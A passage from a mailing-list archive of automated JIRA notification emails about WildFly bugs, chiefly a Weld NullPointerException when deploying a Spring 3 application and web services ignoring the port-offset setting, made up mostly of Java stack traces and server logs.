> 19:57:21,018 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "cineserver.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> 19:57:21,018 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "cineserver.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> {code} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 08:44:02 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Thu, 26 Sep 2013 08:44:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2165) Error Weld when starting
 WildFly 8 with Spring 3 - NullPointerException
In-Reply-To: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499612.1377777774000.1988.1380199442811@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2165?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jozef Hartinger updated WFLY-2165:
----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> Error Weld when starting WildFly 8 with Spring 3 - NullPointerException
> -----------------------------------------------------------------------
>
>                 Key: WFLY-2165
>                 URL: https://issues.jboss.org/browse/WFLY-2165
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>            Reporter: Raul Abreu Leite
>            Assignee: Matus Abaffy
>             Fix For: 8.0.0.Beta1
>
>
> When I update my application, from Jboss-as 7.1.1.Final to Wildfly 8.0.0.Alpha4, there was an error that I can not fix.
> {code:java}
> 19:57:20,955 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: Failed to start service
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>     at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: java.lang.NullPointerException
>     at org.jboss.weld.injection.InjectionPointFactory.getParameterInjectionPoints(InjectionPointFactory.java:245)
>     at org.jboss.weld.injection.AbstractCallableInjectionPoint.<init>(AbstractCallableInjectionPoint.java:49)
>     at org.jboss.weld.injection.ConstructorInjectionPoint.<init>(ConstructorInjectionPoint.java:59)
>     at org.jboss.weld.injection.InjectionPointFactory.createConstructorInjectionPoint(InjectionPointFactory.java:173)
>     at org.jboss.weld.injection.producer.DefaultInstantiator.<init>(DefaultInstantiator.java:46)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.initInstantiator(BasicInjectionTarget.java:144)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:72)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
>     at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     ... 3 more
> 19:57:21,018 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "cineserver.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> 19:57:21,018 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "cineserver.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> {code} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 08:44:03 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Thu, 26 Sep 2013 08:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2165) Error Weld when starting
 WildFly 8 with Spring 3 - NullPointerException
In-Reply-To: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499612.1377777774000.1996.1380199443296@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2165?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jozef Hartinger updated WFLY-2165:
----------------------------------

    Priority: Critical  (was: Major)

    
> Error Weld when starting WildFly 8 with Spring 3 - NullPointerException
> -----------------------------------------------------------------------
>
>                 Key: WFLY-2165
>                 URL: https://issues.jboss.org/browse/WFLY-2165
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>            Reporter: Raul Abreu Leite
>            Assignee: Matus Abaffy
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> When I update my application, from Jboss-as 7.1.1.Final to Wildfly 8.0.0.Alpha4, there was an error that I can not fix.
> {code:java}
> 19:57:20,955 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: Failed to start service
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>     at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: java.lang.NullPointerException
>     at org.jboss.weld.injection.InjectionPointFactory.getParameterInjectionPoints(InjectionPointFactory.java:245)
>     at org.jboss.weld.injection.AbstractCallableInjectionPoint.<init>(AbstractCallableInjectionPoint.java:49)
>     at org.jboss.weld.injection.ConstructorInjectionPoint.<init>(ConstructorInjectionPoint.java:59)
>     at org.jboss.weld.injection.InjectionPointFactory.createConstructorInjectionPoint(InjectionPointFactory.java:173)
>     at org.jboss.weld.injection.producer.DefaultInstantiator.<init>(DefaultInstantiator.java:46)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.initInstantiator(BasicInjectionTarget.java:144)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:72)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
>     at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     ... 3 more
> 19:57:21,018 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "cineserver.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> 19:57:21,018 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "cineserver.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> {code} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 09:36:02 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 26 Sep 2013 09:36:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1786) webservices no longer use
	port-offset
In-Reply-To: <JIRA.12497644.1375220036000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497644.1375220036000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497644.1375220036000.2091.1380202562945@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1786?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-1786:
---------------------------------

    Assignee: Tomaz Cerar  (was: jaikiran pai)

    
> webservices no longer use port-offset
> -------------------------------------
>
>                 Key: WFLY-1786
>                 URL: https://issues.jboss.org/browse/WFLY-1786
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Services
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Frank Langelage
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Beta1
>
>
> One of todays commits broke the Webservice usage for me.
> Version c76e3615464ed8d616ba3b84eea0c31185d07a0f was OK.
> Version 101d67aa894bca663464c67988a6889496a47158 is broken.
> I start wildfly with a port-offset of 700, so http-port is 8780.
> But looking at the console app under localhost:10690 - Runtime - Subsystems - Webservices all WSDL url are now http://server:8080/....
> port-offset not used here.
> So the consequence is
> 23:02:45,038 FATAL [javax.enterprise.resource.webcontainer.jsf.context#log] /Template.xhtml: Could not send Message.: javax.el.ELException: /Template.xhtml: Could not send Message.
>     at com.sun.faces.facelets.compiler.AttributeInstruction.write(AttributeInstruction.java:96) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.facelets.compiler.UIInstructions.encodeBegin(UIInstructions.java:82) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.facelets.compiler.UILeaf.encodeAll(UILeaf.java:207) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at javax.faces.component.UIComponent.encodeAll(UIComponent.java:1899) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at com.sun.faces.application.view.FaceletViewHandlingStrategy.renderView(FaceletViewHandlingStrategy.java:451) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.application.view.MultiViewHandler.renderView(MultiViewHandler.java:131) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at javax.faces.application.ViewHandlerWrapper.renderView(ViewHandlerWrapper.java:337) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at javax.faces.application.ViewHandlerWrapper.renderView(ViewHandlerWrapper.java:337) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at javax.faces.application.ViewHandlerWrapper.renderView(ViewHandlerWrapper.java:337) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at com.sun.faces.lifecycle.RenderResponsePhase.execute(RenderResponsePhase.java:120) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.lifecycle.LifecycleImpl.render(LifecycleImpl.java:219) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at javax.faces.webapp.FacesServlet.service(FacesServlet.java:647) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:82) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:54) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
>     at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:186) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:130) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.spec.RequestDispatcherImpl.forward(RequestDispatcherImpl.java:140) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.security.ServletFormAuthenticationMechanism.servePage(ServletFormAuthenticationMechanism.java:39) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.FormAuthenticationMechanism.sendChallenge(FormAuthenticationMechanism.java:156) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl$ChallengeSender.transition(SecurityContextImpl.java:328) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl$ChallengeSender.transition(SecurityContextImpl.java:347) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl$ChallengeSender.access$300(SecurityContextImpl.java:312) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl.sendChallenges(SecurityContextImpl.java:135) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl.authTransition(SecurityContextImpl.java:109) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl.authTransition(SecurityContextImpl.java:114) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl.authenticate(SecurityContextImpl.java:99) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:50) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.AuthenticationConstraintHandler.handleRequest(AuthenticationConstraintHandler.java:51) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.security.ServletSecurityConstraintHandler.handleRequest(ServletSecurityConstraintHandler.java:55) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:58) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
>     at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:197) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:184) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:59) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:119) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:629) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40-ea]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40-ea]
>     at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40-ea]
> Caused by: javax.xml.ws.WebServiceException: Could not send Message.
>     at org.apache.cxf.jaxws.JaxWsClientProxy.invoke(JaxWsClientProxy.java:145)
>     at com.sun.proxy.$Proxy287.getTranslation(Unknown Source)
>     at biz.mbisoftware.web.model.common.SynonymMap.getTranslation(SynonymMap.java:49) [classes:]
>     at biz.mbisoftware.web.model.common.SynonymMap.getTranslation(SynonymMap.java:66) [classes:]
>     at biz.mbisoftware.web.model.common.TranslationMap.get(TranslationMap.java:90) [classes:]
>     at biz.mbisoftware.web.utility.LocaleHelper.getTranslation(LocaleHelper.java:243) [classes:]
>     at biz.mbisoftware.web.model.core.SettingsModel.<init>(SettingsModel.java:88) [classes:]
>     at biz.mbisoftware.web.model.core.SettingsModel$Proxy$_$$_WeldClientProxy.<init>(Unknown Source) [classes:]
>     at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) [rt.jar:1.7.0_40-ea]
>     at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57) [rt.jar:1.7.0_40-ea]
>     at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) [rt.jar:1.7.0_40-ea]
>     at java.lang.reflect.Constructor.newInstance(Constructor.java:526) [rt.jar:1.7.0_40-ea]
>     at java.lang.Class.newInstance(Class.java:374) [rt.jar:1.7.0_40-ea]
>     at org.jboss.weld.security.NewInstanceAction.run(NewInstanceAction.java:33) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_40-ea]
>     at org.jboss.weld.bean.proxy.ProxyFactory.create(ProxyFactory.java:274) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyFactory.create(ClientProxyFactory.java:110) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider.createClientProxy(ClientProxyProvider.java:165) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider.createClientProxy(ClientProxyProvider.java:155) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider.access$000(ClientProxyProvider.java:49) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider$1.load(ClientProxyProvider.java:57) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider$1.load(ClientProxyProvider.java:53) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at com.google.common.cache.LocalCache$LoadingValueReference.loadFuture(LocalCache.java:3589) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache$Segment.loadSync(LocalCache.java:2374) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache$Segment.lockedGetOrLoad(LocalCache.java:2337) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache$Segment.get(LocalCache.java:2252) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache.get(LocalCache.java:3990) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache.getOrLoad(LocalCache.java:3994) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache$LocalLoadingCache.get(LocalCache.java:4878) [guava-13.0.1.jar:]
>     at org.jboss.weld.util.cache.LoadingCacheUtils.getCacheValue(LoadingCacheUtils.java:54) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.util.cache.LoadingCacheUtils.getCastCacheValue(LoadingCacheUtils.java:82) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider.getClientProxy(ClientProxyProvider.java:171) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.el.AbstractWeldELResolver.lookup(AbstractWeldELResolver.java:115) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.el.AbstractWeldELResolver.getValue(AbstractWeldELResolver.java:96) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.as.jsf.injection.weld.ForwardingELResolver.getValue(ForwardingELResolver.java:46) [wildfly-jsf-injection-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>     at javax.el.CompositeELResolver.getValue(CompositeELResolver.java:188) [javax.el-3.0-b07.jar:3.0-b07]
>     at com.sun.faces.el.DemuxCompositeELResolver._getValue(DemuxCompositeELResolver.java:176) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.el.DemuxCompositeELResolver.getValue(DemuxCompositeELResolver.java:203) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.el.parser.AstIdentifier.getValue(AstIdentifier.java:116) [javax.el-3.0-b07.jar:3.0-b07]
>     at com.sun.el.parser.AstValue.getBase(AstValue.java:151) [javax.el-3.0-b07.jar:3.0-b07]
>     at com.sun.el.parser.AstValue.getValue(AstValue.java:200) [javax.el-3.0-b07.jar:3.0-b07]
>     at com.sun.el.ValueExpressionImpl.getValue(ValueExpressionImpl.java:226) [javax.el-3.0-b07.jar:3.0-b07]
>     at org.jboss.weld.el.WeldValueExpression.getValue(WeldValueExpression.java:50) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.el.WeldValueExpression.getValue(WeldValueExpression.java:50) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at com.sun.faces.facelets.el.ELText$ELTextVariable.toString(ELText.java:217) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.facelets.compiler.AttributeInstruction.write(AttributeInstruction.java:89) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     ... 50 more
> Caused by: java.net.ConnectException: ConnectException invoking http://sb2000:8080/mbi-ws/maj2e-langfr-dev/common/TranslationWS: Connection refused
>     at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) [rt.jar:1.7.0_40-ea]
>     at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57) [rt.jar:1.7.0_40-ea]
>     at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) [rt.jar:1.7.0_40-ea]
>     at java.lang.reflect.Constructor.newInstance(Constructor.java:526) [rt.jar:1.7.0_40-ea]
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.mapException(HTTPConduit.java:1334)
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.close(HTTPConduit.java:1318)
>     at org.apache.cxf.transport.AbstractConduit.close(AbstractConduit.java:56)
>     at org.apache.cxf.transport.http.HTTPConduit.close(HTTPConduit.java:623)
>     at org.apache.cxf.interceptor.MessageSenderInterceptor$MessageSenderEndingInterceptor.handleMessage(MessageSenderInterceptor.java:62)
>     at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:271)
>     at org.apache.cxf.endpoint.ClientImpl.doInvoke(ClientImpl.java:541)
>     at org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:474)
>     at org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:377)
>     at org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:330)
>     at org.apache.cxf.frontend.ClientProxy.invokeSync(ClientProxy.java:96)
>     at org.apache.cxf.jaxws.JaxWsClientProxy.invoke(JaxWsClientProxy.java:134)
>     ... 95 more
> Caused by: java.net.ConnectException: Connection refused
>     at java.net.PlainSocketImpl.socketConnect(Native Method) [rt.jar:1.7.0_40-ea]
>     at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:339) [rt.jar:1.7.0_40-ea]
>     at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:200) [rt.jar:1.7.0_40-ea]
>     at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:182) [rt.jar:1.7.0_40-ea]
>     at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392) [rt.jar:1.7.0_40-ea]
>     at java.net.Socket.connect(Socket.java:579) [rt.jar:1.7.0_40-ea]
>     at sun.net.NetworkClient.doConnect(NetworkClient.java:175) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.openServer(HttpClient.java:432) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.openServer(HttpClient.java:527) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.<init>(HttpClient.java:211) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.New(HttpClient.java:308) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.New(HttpClient.java:326) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:996) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:932) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:850) [rt.jar:1.7.0_40-ea]
